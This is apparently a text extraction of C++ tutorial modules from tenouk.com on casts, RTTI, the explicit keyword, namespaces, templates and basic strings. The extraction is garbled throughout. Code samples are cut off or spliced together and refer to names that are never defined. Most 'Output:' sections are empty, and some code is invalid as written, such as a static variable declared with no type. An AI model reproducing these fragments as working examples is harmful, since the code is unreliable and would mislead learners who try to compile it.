www.tenouk.com
Derived1& Derived1Obj = dynamic_cast<Derived1&>(*Base2Obj);
if(!&Derived1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<&Derived1Obj<<endl;
int main()
{
int *ptr = NULL;
int var;
cout<<"Benchmarking..."<<endl;
cout<<"Address of var = "<<&var<<endl;
//NULL pointer
cout<<"NULL *ptr = "<<ptr<<endl;
cout<<endl;
Output:
www.tenouk.com
- Well, tired playing with type casting huh?
22.5 rtti
- Run time type information/identification (RTTI) is a mechanism which the type of an object can be
determined during the program execution where the type of the object cannot be determined by the
static information.
- It can be applied on the pointers and references. RTTI elements consists of:
typeid( expression )
typeid( type_name )
- You can use typeid to get run-time identification of type_name and expressions. A call to
typeid returns a reference to an object of type const type_info&. The returned object
represents the type of the typeid operand.
- If the typeid operand is a dereferenced pointer or a reference to a polymorphic type (class with
virtual functions), typeid returns the dynamic type of the actual object pointed or referred to in the
expression. If the operand is non-polymorphic, typeid returns an object that represents the static
type. typeid operator can be used with fundamental data types as well as user-defined types.
- If the typeid operand is a dereferenced NULL pointer, the bad_typeid exception handler is
thrown.
- Program example, don’t forget to include the typeinfo.h header file.
int main()
{
char c;
www.tenouk.com
float f;
cout<<typeid(double).name();
cout<<" before "<<typeid(int).name()<<": "<<
(typeid(double).before(typeid(int)) ? T:F)<<endl;
cout<<typeid(A).name();
cout<<" before "<<typeid(B).name()<<": "<<
(typeid(A).before(typeid(B)) ? T:F)<<endl;
system("pause");
return 0;
}
Output:
//derived class...
class Derived : public Test {};
int main(void)
{
//Instantiate Derived type object...
Derived DerivedObj;
//Declare a Derived type pointer
Derived *DerivedPtr;
//Initialize the pointer
DerivedPtr = &DerivedObj;
Output:
www.tenouk.com
- If the expression is dereferencing a NULL pointer, typeid() will throw a bad_typeid exception
handler. If the expression is neither a pointer nor a reference to a base class of the object, the result is a
type_info reference representing the static type of the expression.
- Another program example.
class Base
{
public:
virtual void funct(){}
};
int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;
delete Test1;
system("pause");
return 0;
}
Output:
22.6 reinterpret_cast
- This operator is used to convert any pointer to any other pointer type. It also can be used to convert any
integral type to any pointer type and vice versa.
- Because of the unrelated or ‘random’ type conversion can be done using reinterpret_cast, it can
be easily unsafe if used improperly and it is non portable. It should only be used when absolutely
necessary.
- It cannot be used for const-ness and volatile-ness conversion.
- Can be used to convert for example, int* to char*, or classA to classB, which both class are
unrelated classes, between two unrelated pointers, pointers to members or pointers to functions.
- For null pointer, it converts a null pointer value to the null pointer value of the destination type.
- Program example. If you change the for loop from -10 to 0, the conversion values still same, may
need to use 2's complement.
www.tenouk.com
//unsigned int pointers conversion
#include <iostream.h>
#include <stdlib.h>
int main(void)
{
//array name is a pointer...
int a[10];
Output:
- Keyword explicit used to avoid a single argument constructor from defining an automatic type
conversion.
- A typical explicit usage example is in a collection class in which you can pass the initial size as
constructor argument. For example, you could declare a constructor that has an argument for the initial
size of a stack as shown below:
//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;
class MyStack
{
public:
//create a stack with initial size
MyStack(int initsize);
~MyStack(void);
};
MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}
MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
www.tenouk.com
y++;
}
//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);
Output:
- Here, without explicit keyword the constructor would define an automatic type conversion from
int type to MyStack object type.
- From the program output also, it is clear that the constructor was invoked two times, once for
Mystack with size of 20 and another one with size 30. This is not our intention.
- Then we could assign an integer, 30 to MyStack wrongfully, as shown below:
p = 30;
- The automatic type conversion would convert the integer 30 to Mystack, with 30 elements (size) and
then assign it to p.
- By declaring the int constructor as an explicit, the assignment p = 30; will result an error at compile
time. The following is the program example using explicit keyword.
//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;
class MyStack
{
public:
//create a stack with initial size
explicit MyStack(int initsize);
~MyStack(void);
};
MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}
MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
y++;
}
//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);
//but, there will be new stack objects
www.tenouk.com
//with size of 30!
//p = 30;
cout<<"With the explicit keyword!\n";
return 0;
}
Output:
- You can try un-commenting the p = 30 code, then recompile and re run the program. It should
generate an error.
- Note that explicit also rules out the initialization with type conversion by using the assignment syntax
as shown below:
- The previous program example based on the template of the STL. More information is in Module 24
above.
- Program example compiled using VC++ / VC++ .Net.
class Base
{
public:
virtual void funct(){}
};
int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;
Output:
www.tenouk.com
//**********-typecast.cpp-**********
//upcast conversion using dynamic_cast
#include <iostream>
using namespace std;
//base class
class Base1 {};
//derived class...
class Derived1:public Base1 {};
int main()
{
funct1();
return 0;
}
-------------------------------------------------0o0--------------------------------------------------
1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.
www.tenouk.com
MODULE 23
NAMESPACES
When the space becomes bigger and bigger
You have to define your own space!
Note: Tested using Visual C++ 6.0 and VC++ .Net, Win32 empty console mode application. g++ (GNU C++)
example is given at the end of this Module.
Abilities
Able to:
23.1 Namespace
- Real applications or programs consist of many source files. These files can be authored and maintained
by more than one developer or programmer. Eventually, the separate files are organized and linked to
produce the final application.
- Traditionally, the file organization requires that all names that aren't encapsulated within a defined
namespace (such as in a function or class body, or translation unit) must share the same global
namespace. Hence, multiple definitions of names or name clashes will be encountered while linking the
separate modules.
- Namespace mechanism in C++ overcomes the problem of name clashes in the global scope. The
namespace mechanism allows an application to be partitioned into number of subsystems. Each
subsystem can define and operate within its own scope.
- The namespaces declaration identifies and assigned a unique name to a user declared namespace. This
will be used to solve the name collision or conflict in large program and libraries development where
there are many programmers or developer working for different program portions.
- To use C++ namespaces, there are two steps involved:
namespace indentifier
{ namespace body }
- For example:
namespace NewOne
{
int p;
long q
}
- p and q are normal variables but integrated within the NewOne namespace. In order to access this
variables from the outside the namespace, we have to use the scope operator, ::. From previous
example:
newOne::p;
newOne::q;
- A namespace definition can be nested within another namespace definition. Every namespace
definition must appear either at file scope or immediately within another namespace definition. For
example:
www.tenouk.com
#include <iostream>
#include <stdlib.h>
namespace SampleOne
{
float p = 10.34;
}
namespace SampleTwo
{
using namespace SampleOne;
float q = 77.12;
namespace InSampleTwo
{
float r = 34.725;
}
}
int main()
{
//this directive gives you everything declared in SampleTwo
using namespace SampleTwo;
//this directive gives you only InSampleTwo
using namespace SampleTwo::InSampleTwo;
//local declaration, take precedence
float p = 23.11;
cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;
system("pause");
return 0;
}
Output:
namespace NewNsOne
{
//declare namespace NewNsOne variable
int p = 4;
//declare namespace NewNsOne function
int funct(int q);
}
namespace NewNsTwo
{
//declare namespace NewNsTwo variable
int r = 6;
//declare namespace NewNsTwo function
int funct1(int numb);
//declare nested namespace
namespace InNewNsTwo
{
//declare namespace InNewNsTwo variable
long tst = 20.9456;
}
}
int main()
{
//The following four lines of code will generate error
//because it is not at global scope...
www.tenouk.com
//namespace local
//{
//int k;
//}
cout<<"NewNsOne::p is "<<(NewNsOne::p)<<endl;
cout<<"NewNsTwo::r is "<<(NewNsTwo::r)<<endl;
cout<<"NewNsTwo::InNewNsTwo::tst is"<<(NewNsTwo::InNewNsTwo::tst)<<endl;
system("pause");
return 0;
}
Output:
- Alternative name can be used to refer to a namespace identifier. An alias is useful when you need to
simplify the long namespace identifier.
- Program example:
//namespace alias
#include <iostream>
#include <stdlib.h>
namespace TheFirstLongNamespaceSample
{
float p = 23.44;
namespace TheNestedFirstLongNamespaceSample
{
int q = 100;
}
}
//Alias namespace
namespace First = TheFirstLongNamespaceSample;
int main()
{
using namespace First;
using namespace Second;
cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
system("pause");
return 0;
}
Output:
- The definition of a namespace can be split over several parts of a single translation unit.
www.tenouk.com
- If you have declared a namespace, you can extend the original namespace by adding new declarations.
- Any extensions that are made to a namespace after a using declaration will not be known at the point
at which the using declaration occurs.
- For example:
//namespace extension
//cannot be compiled, no output, just sample code
//original namespace
namespace One
{
//declare namespace One variable
int p;
int q;
}
namespace Two
{
float r;
int s;
}
int main()
{
}
//no output
//namespace extension
#include <iostream>
#include <stdlib.h>
struct SampleOne
{
};
struct SampleTwo
{
};
//original namespace
namespace NsOne
{
//original function...
void FunctOne(struct SampleOne)
{
cout<<"Processing the struct argument..."<<endl;
}
}
int main()
{
SampleOne TestStruct;
SampleTwo TestClass;
FunctOne(TestStruct);
//The following function call fails because there are
www.tenouk.com
//no overloaded version for this one
//FunctOne(TestClass);
system("pause");
return 0;
}
Output:
- Use the keyword namespace without identifier before the closing brace. This can be superior
alternative to the use of the global static variable declaration.
- Each identifier that is enclosed within an unnamed namespace is unique within the translation unit in
which the unnamed namespace is defined.
- The syntax:
namespace { namespace_body }
- Program example:
//Anonymous namespace
namespace
{
int p = 1; //unique::p
}
void funct1()
{
++p; //unique::++p
}
namespace One
{
//Nested anonymous namespace
namespace
{
int p; //One::unique::p
int q = 3; //One::unique::q
}
}
//using-declaration
using namespace One;
void testing()
{
//++p; // error, unique::p or One::unique::p?
//One::++p; //error, One::p is undefined
cout<<"++q = "<<++q<<endl;
}
int main()
{
testing();
system("pause");
return 0;
}
www.tenouk.com
Output:
- This method is useful when you wan to access several or all the members of a namespace.
- This using-directive specifies that all identifiers in a namespace are in scope at the point that the
using-directive statement is made.
- It is also transitive; this means that when you apply the using directive to a namespace that contains
using directive within itself, you get access to those namespaces as well.
- Program example:
//using directive
#include <iostream>
#include <stdlib.h>
namespace One
{
float p = 3.1234;
}
namespace Two
{
using namespace One;
float q = 4.5678;
namespace InTwo
{
float r = 5.1234;
}
}
int main()
{
cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;
system("pause");
return 0;
}
Output:
www.tenouk.com
23.2.2 using Declaration
using::unqualified-identifier;
- Program example:
//using declaration
//Function funct2() defined in two different namespaces
#include <iostream>
#include <stdlib.h>
namespace One
{
float funct1(float q)
{
return q;
}
int main()
{
//The using declaration identifies the desired version of funct2()
using One::funct1; //Becomes qualified identifier
using Two::funct2; //Becomes qualified identifier
float p = 4.556; //Local declaration, takes precedence
p = funct1(3.422);
cout<<"Second p value, by function call = "<<p<<endl;
funct2();
system("pause");
return 0;
}
Output:
www.tenouk.com
- This access method we use the namespace identifier together with the (::) scope resolution operator
followed by the element name.
- Using this method, we can qualify each member of a name space. It also can resolve the ambiguity.
- No matter which namespace (except anonymous/unnamed namespace) is being used in your subsystem
or program, you can apply the scope operator, :: to access identifiers in any namespace (including a
namespace already being used in the local scope) or the global namespace.
- using directive cannot be used inside a class but the using declaration is allowed.
- Program example:
class One
{
public:
void funct1(char chs)
{cout<<"character = "<<chs<<endl;}
};
int main()
{
Two Sample;
//Calling One::funct1()
Sample.funct1('P');
//Calling Two::funct1()
Sample.funct1("This is string");
system("pause");
return 0;
}
Output:
- All the classes, objects and functions of the standard C++ library are defined within namespace std,
defined by the ISO/ANSI C++ or a new one, ISO/IEC C++.
- Even though compiler that comply with ISO/ANSI C++ standard allow the use of the traditional header
files (such as iostream.h, stdlib.h or other than .h extension for implementation dependent
etc), actually the standard has specified new names for these header files, using the same name but
without the .h (or other extension for implementation dependent) under the namespace std. For
example, iostream.h becomes iostream.
- All functions, classes and objects will be declared under the std namespace if using the ISO/ANSI
C++ compliance compiler. The .h header files have been provided for backward compatibility.
- The ISO/ANSI C++ standard requires you to explicitly declare the namespace in the standard
library. For example, when using header file iostream.h, you do not have to specify the
namespace of cout in one of the following ways (as used throughout this tutorial):
www.tenouk.com
▪ std::cout – explicitly
▪ using std::cout – using declaration
▪ using namespace std – using directive
- If you use iostream without the .h extension, then you have to explicitly include either one of those
three codes.
- The following is a simple program example and make sure your compiler is ISO/ANSI C++
compliance.
void main()
{
std::cout<<"Demonstrating ";
using namespace std;
cout<<"the std namespace."<<endl;
system("pause");
}
Output:
- Then, try comment out the following line, recompile the program. Your compiler should generate
error.
- C++ library entities such as functions and classes are declared or/and defined in one or more standard
headers. To make use of a library entity in a program, as in C program, we have to include them using
the include preprocessor directive, #include.
- The Standard C++ library headers as shown in Table 23.1 together with the 16 Standard C headers
(C++ wrappers - get the ideas of the wrappers HERE) shown in Table 23.2, constitute an
implementation of the C++ library.
- There are several headers that are rarely used are not included here, please check your compiler
documentation.
- These headers are template based. You will learn Template in next Module (Module 24).
www.tenouk.com
<csignal> <cstdarg> <cstddef>
<cstdio> <cstdlib> <cstring>
<ctime>
- If you want to use functions, structure, macros and other built-in item available in the Standard C
headers in C++ programming environment or ISO/IEC C++ compilers, use the C++ wrappers.
- These C++ wrappers are C headers that prefixed by c character such as <cassert> from
<assert.h>.
- Other than those ISO/IEC C and ISO/IEC C++ Standard headers should be implementation dependant,
it is non standard. Keep in mind that there are a lot more non standard headers that you will find.
- If you want to use for example, the member functions or classes of these non standard headers, you
have to get the information through their documentation.
- The issue of using the non standard library is the program portability. There is a lot of C/C++
implementation out there, so you decide it, depend on your needs and what is the target platform your
program are developed for and what compiler you are going to use to develop the programs.
- In C++, you include the contents of a standard header by using the include preprocessor directive as
shown below:
#include <iostream>
#include <cstdlib>
- You can include the standard headers in any order, a standard header more than once, or two or more
standard headers that define the same macro or the same type. Do not include a standard header within
a declaration.
- A Standard C header never includes another standard header. Every function in the library is declared
in a standard header.
- Unlike in Standard C, the standard C++ header never provides a masking macro, with the same name as
the function that masks the function declaration and achieves the same effect.
- All names other than operator delete and operator new in the C++ library headers are defined in
the std namespace, or in a namespace nested within the std namespace. You refer to the name cout,
for example, as std::cout.
- The most portable way to deal with namespaces may be to obey the following two rules:
- For example if you want to use std::cout, you should include <iostream>. If you want to use
printf(), you should include <stdio.h> instead of <cstdio>.
- Normally programmers use the using declaration:
- This brings all library names into the current namespace. If you write this declaration immediately after
all the include preprocessor directives, you hoist the names into the global namespace.
- You can subsequently ignore namespace considerations in the remainder of the translation unit. You
also avoid most dialect differences across different translation environments.
- Unless specifically indicated otherwise, you may not define names in the std namespace, or in a
namespace nested within the std namespace.
- The term translation unit refers to a source code file together with any included files, but less any
source lines omitted by conditional preprocessor directives. Syntactically, a translation unit is defined
as a sequence of external declarations:
external-declaration
www.tenouk.com
translation-unit external-declaration
external-declaration
function-definition
declaration
- The following examples tested by using Visual C++ 6.0 and Visual Studio .Net.
- It just a re-compilation of the program examples from other Modules, assuming that the compiler is
fully ISO/IEC C++ compliance. Notice some of the code modifications.
//main() function
int main( )
{
//variables declaration and initialization
int x, y, z;
x = 20;
y = 2;
return 0;
}
Output:
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
www.tenouk.com
cout<< "\nThe long of your yard(meter)? ";
cin>> lengthOfYard;
return 0;
}
Output:
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
return 0;
}
Output:
www.tenouk.com
- Example compiled using g++.
//***************namespace.cpp**************/
//demonstrates the use of function prototypes
//variation of the C++ program, no .h anymore
//without the 'using namespace std;'
#include <iostream>
int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;
return 0;
}
------------------------------------------------o0o----------------------------------------------
www.tenouk.com
f. Read online the GNU C library here.
www.tenouk.com
MODULE 24
TEMPLATE
This type, that type, so many types,
No more type!
GENERIC TYPES
Some notes:
- Well, you have completed the wave of the procedural programming then object oriented
programming. In order to complete your C and C++ journey, this Module will introduce you the
generic programming.
- This Module just to introduce you what the template is. The main task is to learn how to use and
manipulate the STL components later.
- This Module may be very useful if you want to create our own template but at the same time it
should provide us with a good understanding of the template itself.
- Compiler used in this Module is Visual Studio .Net® 2003 because many of the C++ features
do not supported by some of the lousy compilers included Visual Studio/C++ 6.0® with Service
Pack 6 (SP6) :o) g++ (GNU C++) example is given at the end of this Tutorial. With g++, you will
be warned if there are outdated and danger constructs in your programs :o).
- The moral of this very short story is: if you want to develop programs that use many of the C++
features and don’t want to get cheated by the compiler, use fully ISO/IEC C++ compliance
compiler.
- You can see that many times naïve programmers have been cheated by the compiler! You think
there is something wrong with your codes, but the compiler itself does not have the capabilities to
understand your codes :o) or your codes really have bugs :o).
- This Module and that follows supposed to make our tasks in programming smoother, easier, safer
and more productive :o).
- Get a good understanding of the templates so that it is easier for you to use them in the next
Modules.
Abilities
24.1 Introduction
- Many real applications use common data structure routines such as list, sort, and queue. A program
may require a List of name and another time, a List of messages. So we can create a List of name
program, and then reuse the existing code to create a List of messages program. Next time we may
need another List of address etc. Again we copy the List of messages program. These situations
happen again and again.
- If we need to change the original codes, the other codes also may need changes; at the beginning we
also have to change the codes regarding the data type because name and messages may implement
different data type. It will become headache isn’t it?
- It is wiser to create a List program that contains an arbitrary data type that is ready for many data
types because the List routine should be the same. This is called parameterized or generic data
type, commonly referred to as template. Notice that the word data type or type. This is the word
that we are concern about regarding why the template ‘creature’ exists.
- Template extends the concepts of the reusability. In the List example, template allows us to
implement something like a generic List as shown below, where the any_data_type is its type
parameter.
List<any_data_type>
www.tenouk.com Page 1 of 18
- Then any_data_type can be replaced with actual types such as int, float, name,
messages, address etc as shown below.
List<int>
List<name>
List<messages>
List<any_data_type>
- Then it should immediately reflected in the other classes, List<int>, List<name> etc.
- Templates are very useful when implementing generic constructs such as lists, stacks, queues,
vectors etc which can be used in any arbitrary data type. These generic constructs normally found
in data structure, search routines and database applications.
- Designing a type-independent class enables users to choose the desired data type for specific
application without having to duplicate code manually. Furthermore, type independent classes
should be portable among different locales and platforms.
- It provides source code reusability whereas inheritance provides object code reusability.
- Furthermore, almost all part of the C++ Standard Library is implemented using templates.
- Generally, templates are functions or classes that are written for one or more types not yet specified.
When you use a template, you pass the types as arguments, explicitly or implicitly.
- Basically, there are two kinds of templates:
1. Function template.
2. Class template.
- For example, the Standard Template Library (STL) generic Algorithm has been implemented using
function templates whereas the Containers have been implemented using class template.
- We will go through the algorithm and container more detail in another Module later on.
#include <iostream>
using namespace std;
- If you have noticed, other than the red color line of code, it is same as normal function.
- Using function templates is similar to normal function. When the compiler sees an instantiation of
the function template, for example, the call of the MyMax(10, 20) in function main(), the
compiler generates a function MyMax(int, int).
- Hence, it should be similar for other data type such as MyMax(double, double) and
MyMax(char, char).
#include <iostream>
using namespace std;
www.tenouk.com Page 2 of 18
//function template declaration and definition
template <class any_data_type>
any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1> Var2 ? Var1:Var2;
}
int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;
cout<<"Address of *p = "<<&p<<endl;
cout<<"Address of *q = "<<&q<<endl;
cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(p,q)<<endl;
cout<<"Should use Specialization, shown later..."<<endl;
return 0;
}
Output:
- A class template definition look likes a regular class definition, except the keyword template and
the angle brackets < >.
- It is declared using the keyword template, followed by a template parameter list enclosed in
angle brackets and then a declaration and/or a definition of the class.
- For example, the following code segment is a class template definition for MyStack. This is not a
STL Stack but our non standard stack template presented just for discussion.
- If you notice, other than the red color line of code, it is same as normal class, isn’t it?
public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size – 1;}
www.tenouk.com Page 3 of 18
};
- For your information, the top of the stack is the position occupied by the most recently added
element and it should be the last element at the end of the container.
- A simple stack is illustrated below. The real story of stack construction during the function call can
be read in Module W.
- As in class definition, member functions for class template also can be defined outside the class
body. For example:
//destructor definition
template <class any_data_type>
MyStack<any_data_type >::~MyStack()
{delete [ ] StackPtr;}
- Or
//constructor definition
template <class any_data_type>
MyStack<any_data_type>::MyStack()
- any_data_type is data type template parameter and it can be any data type. It acted as a
placeholder for future use; currently its types are not yet specified. For example:
MyStack<MyClass>
- Where MyClass is user defined class. any_data_type also does not have to be a class type or a
user defined type as shown in the following example.
MyStack<float>
MyStack<MessagePtr*>
- Or in totally generic form as shown below. Keep in mind that the typename is a keyword in C++
and explained at the end of this Module.
www.tenouk.com Page 4 of 18
24.3.1 Class Template Parameters
- A template can take one or more type parameters which are the symbols that currently represent
unspecified types. For example:
- Besides the constant expressions, the only other arguments allowed are a pointer to a non-
overloaded member, and the address of an object or a function with external linkage.
- A template can take a template as an argument. For example:
//other codes….
//receive messages
for(int j = 0; j < 20; j++)
ReceiveMsg(MsgQ[j]);
return 0;
}
- Notice the space between the right two angle brackets, it should be mandatory as shown below to
avoid the misinterpret of the right shift operator >>.
- Class template can have default type argument same as normal class. It provides flexibility for
programmer to suit her/his needs. For example the STL Vector class template, the default type
size_t is used but the programmer is free to choose other suitable data types instead.
www.tenouk.com Page 5 of 18
Vector <int, unsigned char> short(7);
MyStack<> Var1;
- Would instantiate at compile time a 10 element MyStack template class named Var1 of type
float. This template class would be of type:
MyStack<float, 10>
- For template specialization (will be discussed later), default arguments cannot be specified in a
declaration or definition. For example:
#include <iostream>
using namespace std;
public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size - 1;}
};
www.tenouk.com Page 6 of 18
return 0;
}
Output:
- Member functions of non template classes may be templates. However, member templates cannot
be virtual, nor may they have default parameters. For example:
//normal class
class MyClass
{
//...
//but, have template member function...
template <class any_data_type>
void MemberFunct(any_data_type)
{};
};
int main()
{
return 0;
}
int main()
{ return 0; }
- A template instantiation is a process of instantiate a real class from a template for our real usage.
It provides general class template with potentially infinite data types.
- The following is a program example of a class template instantiation. It is bundled in one program,
one file for our study convenience.
#include <iostream>
using namespace std;
www.tenouk.com Page 7 of 18
~Test();
//function template
any_data_type Data(any_data_type);
};
//destructor
template <class any_data_type>
Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}
//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;
Output:
- When repackaging the template class, the implementation of the class template is slightly different
from the normal class. As mentioned before, the declaration and definition part of the class
template member functions should all be in the same header file.
- For the previous program example, the repackaging is shown below.
#include <iostream>
using namespace std;
www.tenouk.com Page 8 of 18
Test();
//destructor
~Test();
//function template
any_data_type Data(any_data_type);
};
//destructor
template <class any_data_type>
Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}
//do not run this program
//make sure there is no error such as typo etc
//----test.cpp file------------
//---compile and run this program----
//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;
Output:
- While implementing a class template member functions, the definitions are prefixed by the keyword
template < >.
- The compiler generates a class, function or static data members from a template when it sees an
implicit instantiation or an explicit instantiation of the template. The following program example is
an implicit instantiation of a class template.
#include <iostream>
www.tenouk.com Page 9 of 18
using namespace std;
cout<<"Implicit instantiation..."<<endl;
//and generates function Test<int>::Funct1()
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
//and generates function Test<double>::Funct2()
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}
Output:
- From the program example, the compiler generates Test<int> and Test<double> classes and
Test<int>::Funct1() and Test<double>::Funct2() function definitions.
- The compiler does not generate definitions for functions, non virtual member functions, class or
member class that does not require instantiation.
- In the program example, the compiler did not generate any definition for
Test<int>::Funct2() and Test<double>::Funct1(), since they were not required.
- The following is a program example of an explicit instantiation of a class template.
#include <iostream>
using namespace std;
www.tenouk.com Page 10 of 18
int main()
{
Test<int> Var1;
Test<double> Var2;
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}
Output:
- The following program examples are implicit and explicit instantiation of function templates
respectively.
//implicit instantiation
#include <iostream>
using namespace std;
Output:
//explicit instantiation
#include <iostream>
using namespace std;
www.tenouk.com Page 11 of 18
}
Output:
- Instantiating the virtual member functions of a class template that does not require instantiation is
implementation defined.
- For example, in the following example, virtual function
TestVirt<any_data_type>::Test() is not required, compiler will generate a definition
for TestVirt<any_data_type>::Test().
#include <iostream>
using namespace std;
cout<<"Var1.TestFunct(100) = "<<Var1.TestFunct(100)<<endl;
return 0;
}
Output:
- A specialization consists of a template name followed by a list or arguments in angle brackets and
it is a specialize class template instantiation.
- When we instantiate the class template, from a general class template, we make the class template
special to suit our specific programming tasks.
- A specialization can be used exactly like any other normal class and here, compiler will generate a
specialized concrete instance from the generic of the templates. For examples:
www.tenouk.com Page 12 of 18
- The compiler actually instantiates only the necessary member functions of a given specialization or
generate when there is a request.
- For example again, let take a look at the max() function of the STL by recreating our own version
and name it MyMax().
- This general class template is called Primary Template. It should suit to all data types. For
example:
#include <iostream>
#include <string>
using namespace std;
Output:
- The primary template should be generic to a potentially infinite set of template arguments.
Actually, we can narrow down these generic arguments to our specific needs and refer it as user
defined specialization or explicit specialization. Implicitly, instantiation should be invoked
automatically for the specified data types.
www.tenouk.com Page 13 of 18
- Specialization explicitly fixes all template parameters to a unique template argument. Template
specialization will override the template generated code by providing special definitions for specific
types.
- An explicit specialization looks like a normal template definition except that it must appear after its
primary template.
- From the previous example, let define specialization for the const char * of the last part of the
program example.
- Firstly we have to replace every occurrence of any_data_type in the specialization with const
char *. The template parameter list also should be empty as shown below:
#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;
//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}
Output:
www.tenouk.com Page 14 of 18
- Between the primary (general) and the specific specialization, is called partial specializations.
This specialization partially fixes their template parameter which applies to a subset of types. It
should suit to a portion of data types.
- For example we can define a general template called Test<any_data_type>, a partial
specialization called Test<any_data_type*> that applies to pointers and a specialization
Test<const char*> that applies to const char* exclusively.
- Program example:
#include <iostream>
using namespace std;
//calls Test(any_data_type*)
int *s = Test(&p);
char *t = "Partial lor!";
cout<<"Partial types = "<<s<<endl;
cout<<"Partial types = "<<t<<endl;
Output:
#include <iostream>
using namespace std;
www.tenouk.com Page 15 of 18
}
int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;
char* Var3 = "Function";
char* Var4 = "Template";
cout<<"\nTesting...."<<endl;
cout<<"Address of *Var3 = "<<&Var3<<endl;
cout<<"Address of *Var4 = "<<&Var4<<endl;
cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(Var3,Var4)<<endl;
return 0;
}
Output:
- You may encounter this keyword somewhere, sometime. The keyword typename is used to
specify the identifier that follows is a type.
- In other word, typename keyword tells the compiler that an unknown identifier is a type.
Consider the following example:
int main()
{
return 0;
}
any_data_type::another_data_type * ptr
www.tenouk.com Page 16 of 18
MyClass<Test> x;
- Is possible only if type Test has an inner type definition such as the following:
class Test
{
typedef int another_data_type;
...
};
- In this case, the ptr member of MyClass<Test> would be a pointer to type int. However, the
another_data_type could also be an abstract data type such as a class as shown below.
class Test
{
class another_data_type;
...
};
- Well, now you may be ready to create your own template or just proceed to the next Modules, see
how these templates used to construct the C++ headers and how to use other readily available class
or function templates in your programs.
- The following is a program example compiled using g++ on Fedora 3 machine.
//*******template.cpp**********
#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;
www.tenouk.com Page 17 of 18
cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is
"<<MaxStr<<"\n\n";
//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}
Primary template...
Primary template...
Primary template...
The bigger between 7 and 20 is 20
The bigger between 'x' and 'r' is x
The bigger between "Class" and "Template" is Template
Specialization...
The bigger between "Class" and "Template" is Template
-------------------------------------------o0o-----------------------------------------------
www.tenouk.com Page 18 of 18
MODULE 25
C++ CHARACTER AND STRING
MANIPULATION PART I
Note:
Program examples in this Module compiled using Visual C++ 6.0 with SP6 and Visual C++ .Net. g++ (GNU C++
run on my Fedora 3 machine) example is given at the end of this Module. Take note also for the codes that span
more than one line, which they are not supposed to.
Abilities
25.1 Introduction
- Before we ‘jump’ into the real STL ‘bandwagon’, let try the <string> C++ Standard Library. This
library is constructed using template classes and functions.
- In this Module take note for these words: container, iterator and algorithm. See how these things
used in the program examples.
- We will discuss these ‘creatures’ in more detail later on. May be after completing this Module, you
may develop your own simple search routine :o) program.
- Your main task here is ‘learn how to use’.
- <string> defines the container template class basic_string and various supporting templates.
You must include the <string> header in your program as shown below.
#include <string>
Type Description
string
A type that describes a specialization of the
typedef basic_string<char>
string; template class basic_string with elements
e.g. of type char as a string. This means
const basic_string <char> basic_string<char> is synonym to
str1("TEST"); string.
or
string str2("TEST");
wstring
A type that describes a specialization of the
typedef template class basic_string with elements
basic_string<wchar_t> of type wchar_t as a wstring. This means
wstring; basic_string<wchar_t> is synonym to
